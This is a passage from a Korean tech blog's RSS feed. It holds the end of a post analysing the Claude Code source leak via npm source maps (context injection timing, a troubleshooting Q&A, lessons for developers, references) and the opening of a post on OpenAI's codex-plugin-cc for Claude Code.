&lt;li&gt;CLAUDE.md 최대 길이: &lt;b&gt;40,000자&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Auto Memory (MEMORY.md): 최대 &lt;b&gt;200줄 또는 25,000바이트&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@include&lt;/code&gt; 디렉티브로 외부 파일 삽입 가능 (&lt;code&gt;@./path&lt;/code&gt;, &lt;code&gt;@~/path&lt;/code&gt;, &lt;code&gt;@/absolute&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt;의 frontmatter &lt;code&gt;globs&lt;/code&gt; 필드에 파일 패턴을 지정하면 해당 파일을 열 때만 규칙이 &lt;code&gt;&amp;lt;system-reminder&amp;gt;&lt;/code&gt;로 주입됨 &amp;mdash; 이 블로그의 &lt;code&gt;.claude/rules/&lt;/code&gt; 설정도 같은 메커니즘&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;system-reminder 주입 타이밍 (소스 확인):&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;타이밍&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주입되는 컨텍스트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화 시작&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 전체 + 현재 날짜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;매 5턴마다&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;deferred 도구 목록, 스킬 목록, 에이전트 목록, 관련 메모리, 계획 리마인더, MCP 지시사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;매 25턴마다&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;전체 컨텍스트 리마인더 (전체 내용 재주입)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;도구 결과 내부&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;FileRead: 빈 파일 경고 / 멀웨어 분석 가드레일 / Hook 실행 결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자정&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;날짜 변경 알림&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;개발자 활용법&lt;/b&gt;&lt;br /&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt;에 frontmatter &lt;code&gt;globs&lt;/code&gt;를 설정하면 특정 파일 타입을 편집할 때만 추가 지시사항이 자동 주입된다. 예: Python 파일 작업 시에만 코딩 컨벤션 규칙 적용, HTML 파일 작업 시에만 Tistory 포맷 규칙 적용.&lt;/div&gt;
&lt;!-- 섹션 11 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. 유출된 소스코드로 Claude Code를 직접 빌드할 수 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 가능한 CLI를 복제할 수는 있지만, Claude 모델 자체는 포함되지 않는다. API 키가 있어야 하며, 이는 Anthropic의 서비스 약관 적용을 받는다. 기술적 가능성과 법적 허용은 별개다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. 내 개인 데이터가 유출됐나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니다. 이번 유출은 Claude Code의 클라이언트 소스 코드이며, 사용자 데이터와 무관하다. 노출된 것은 아키텍처와 기능 코드다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. ANTI_DISTILLATION_CC가 내 작업에 영향을 주나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 사용자에게는 영향이 없다. 경쟁사의 모델 학습 파이프라인을 타겟으로 한 기능이다. 정상적인 코딩 작업에서는 동작하지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. BUDDY나 KAIROS를 지금 사용할 수 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공개 버전에서는 사용 불가능하다. 피처 플래그 뒤에 잠겨 있으며, 서버 사이드 활성화가 필요하다. BUDDY는 &lt;span style=&quot;background-color: #f0f4f8; color: #333333; text-align: start;&quot;&gt;2026년 4월 1일 풀렸다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. Mintlify 분석 문서는 공식 문서인가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니다. &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;mintlify.com/VineeTagarwaL-code/claude-code/&lt;/a&gt;는 커뮤니티가 독립적으로 작성한 비공식 분석 문서다. 공식 문서는 &lt;a href=&quot;https://code.claude.com/docs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;code.claude.com/docs&lt;/a&gt;에서 확인할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6. Undercover Mode는 일반 사용자에게도 활성화되나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 분석에 따르면 이 기능은 Anthropic 내부 직원이 공개 저장소를 작업할 때 활성화되는 것으로 보인다. 일반 사용자에게는 적용되지 않는다. [ESTIMATE] 다만 공식 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 12 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론: 의도치 않은 오픈소스의 교훈&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0hVQF%2FdJMcagrrldg%2FlKBY5aH7K8Ni9geFKZ4X01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1080&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사건에서 주목해야 할 점은 세 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째, 정보는 막을 수 없다.&lt;/b&gt; Anthropic이 소스맵을 제거했지만 GitHub 아카이브, Mintlify 문서, 분산된 복사본은 이미 존재한다. 2025년 첫 번째 유출 때도 그랬다. 코드를 통한 경쟁 우위는 점점 더 유지하기 어려워지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째, 집단 지성의 속도는 놀랍다.&lt;/b&gt; 유출 발생에서 전문 분석 문서 등장까지 수 시간. 이 속도는 앞으로도 가속될 것이다. &quot;숨겨진 것은 없다&quot;는 가정 하에 설계하는 것이 더 현실적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;셋째, Claude Code의 실질적 가치는 코드가 아니다.&lt;/b&gt; 512,000줄이 공개됐지만 Claude 모델을 복제할 수는 없다. Anthropic의 진짜 해자는 모델 품질, 인프라, 그리고 지속적 업데이트다. 이번 사건은 역설적으로 Anthropic의 강점이 어디에 있는지를 보여준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 20px; border-radius: 12px; border-left: 5px solid #28a745; margin: 25px 0;&quot;&gt;&lt;b&gt;개발자를 위한 행동 지침&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;오늘&lt;/b&gt;: 자신의 npm 패키지에 &lt;code&gt;*.map&lt;/code&gt; 파일이 포함됐는지 확인 (&lt;code&gt;npm pack --dry-run&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이번 주&lt;/b&gt;: Mintlify 분석 문서를 읽고, Claude Code 아키텍처에서 자신의 에이전트 설계에 적용할 점을 찾아보기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장기적으로&lt;/b&gt;: KAIROS, ULTRAPLAN 등 미출시 기능이 공개될 때 빠르게 활용할 수 있도록 아키텍처 패턴을 이해해두기&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/@anthropic-ai/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@anthropic-ai/claude-code npm 패키지&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;How Claude Code Works &amp;mdash; Mintlify 커뮤니티 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN: Claude Code's source code has been leaked via a map file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: Kuberwastaken/claude-code (소스 아카이브 + 분석)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to: Claude Code's Entire Source Code Was Just Leaked&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;뉴스 보도&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://piunikaweb.com/2026/03/31/anthropic-claude-code-source-leaked-npm-registry/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PiunikaWeb: Claude Code source appears to have been leaked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techstartups.com/2026/03/31/anthropics-claude-source-code-leak-goes-viral-again-after-full-source-hits-npm-registry-revealing-hidden-capybara-models-and-ai-pet/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechStartups: Capybara models and AI pet revealed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cybersecuritynews.com/claude-code-source-code-leaked/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberSecurityNews: Claude Code Source Code Leaked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thehuman2ai.com/blog/claude-code-source-leak&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TheHuman2AI: Claude Code source available for 13 months&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mlq.ai/news/anthropics-claude-code-exposes-source-code-through-packaging-error-for-second-time/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MLQ.ai: Second time packaging error&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/보안</category>
      <category>ANTI_DISTILLATION</category>
      <category>BUDDY AI 펫</category>
      <category>Bun 번들러 보안</category>
      <category>Capybara 모델</category>
      <category>Claude Code v2.1.88</category>
      <category>Claude Code 소스코드 유출</category>
      <category>KAIROS 백그라운드 에이전트</category>
      <category>npm 소스맵 유출</category>
      <category>ULTRAPLAN 원격 계획</category>
      <category>Undercover Mode</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/572</guid>
      <comments>https://goddaehee.tistory.com/572#entry572comment</comments>
      <pubDate>Wed, 1 Apr 2026 01:43:53 +0900</pubDate>
    </item>
    <item>
      <title>openai/codex-plugin-cc(Claude Code용 공식 Codex 플러그인) : Claude가 코딩하고 Codex가 리뷰한다</title>
      <link>https://goddaehee.tistory.com/571</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3002&quot; data-origin-height=&quot;1720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0ZIpi/dJMcaco2182/vQkMZYrsAgdKgkH3yGI2d1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0ZIpi%2FdJMcaco2182%2FvQkMZYrsAgdKgkH3yGI2d1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3002&quot; height=&quot;1720&quot; data-origin-width=&quot;3002&quot; data-origin-height=&quot;1720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;2026년 3월 30일, OpenAI가 경쟁사 Anthropic의 Claude Code에 공식 Codex 플러그인을 출시했다 (&lt;span style=&quot;color: #0066cc;&quot;&gt;GitHub&lt;/span&gt;).&lt;br /&gt;리포지토리 이름은&amp;nbsp;openai/codex-plugin-cc, 설명은 &quot;Use Codex from Claude Code to review code or delegate tasks.&quot;이다.&lt;br /&gt;&lt;br /&gt;공개 하루 만에 GitHub stars 800+개 (2026-03-31 GitHub API 기준, 지속 변동 중)를 기록했고, 오픈 이슈 10여 개, 커밋 2개로 아직 초기 단계이다 (2026-03-31 GitHub API 기준, 변동 가능). 라이선스는 Apache-2.0이다&lt;br /&gt;&amp;nbsp;&lt;br /&gt;이 글에서는 codex-plugin-cc 플러그인의 설치법, 7개 주요 명령어, Review Gate 메커니즘, 소스코드 아키텍처, 제한사항을 증거 기반으로 분석하고, 크로스벤더 에이전트 협업이 개발 생태계에 미치는 의미를 짚어 보려 한다.&lt;/p&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin-bottom: 10px;&quot; data-ke-size=&quot;size20&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;소개 + 왜 주목하는가&lt;/li&gt;
&lt;li&gt;설치 및 시작하기&lt;/li&gt;
&lt;li&gt;주요 명령어 상세 (7개)&lt;/li&gt;
&lt;li&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li&gt;소스코드 핵심 분석&lt;/li&gt;
&lt;li&gt;활용법 / 통합 방법&lt;/li&gt;
&lt;li&gt;사용 예시&lt;/li&gt;
&lt;li&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;결론 &amp;mdash; 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 + 왜 주목하는가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 자사 Codex를 경쟁사 플랫폼인 Claude Code 위에서 동작하도록 공식 플러그인을 만들었다는 사실 자체가 이례적이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rgXBu/dJMcaduEJOC/DuwIrQGiKGuLz2ME9dOCB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrgXBu%2FdJMcaduEJOC%2FDuwIrQGiKGuLz2ME9dOCB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1098&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;openai&lt;/code&gt; 조직 하의 공식 리포지토리이며, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/.claude-plugin/marketplace.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;marketplace.json&lt;/a&gt;에 owner가 &quot;OpenAI&quot;로 명시되어 있고 버전은 1.0.0이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 가치는 두 가지다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;코드 리뷰 위임&lt;/b&gt; &amp;mdash; Claude Code에서 작업하면서 Codex에 리뷰를 맡긴다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/commands/review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;review&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/commands/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;adversarial-review&lt;/a&gt; 두 가지 모드를 제공한다. review는 표준 코드 리뷰(버그&amp;middot;스타일 점검)를, adversarial-review는 설계 결정을 도전적으로 질문하는 심층 리뷰를 수행한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;작업 위임(rescue)&lt;/b&gt; &amp;mdash; 버그 조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;크로스벤더 에이전트 협업이란?&lt;/b&gt; &amp;mdash; 서로 다른 벤더의 AI 에이전트가 하나의 워크플로우에서 협력하는 패턴이다. Claude가 코딩하고, Codex가 리뷰하는 식이다. 싱글 에이전트 시대에서 멀티 에이전트 시대로의 전환점이라 할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cauYzh/dJMcaibKp77/yRqnDaCxilEEehAUbijAG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcauYzh%2FdJMcaibKp77%2FyRqnDaCxilEEehAUbijAG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1114&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;codex-plugin-cc&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;기존 Codex MCP 접근&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;통합 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 네이티브 Plugin System (marketplace.json &amp;rarr; plugin.json &amp;rarr; commands/hooks/agents/skills)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 서버 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;명령어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:rescue&lt;/code&gt; 등 슬래시 명령어 7개&lt;/td&gt;
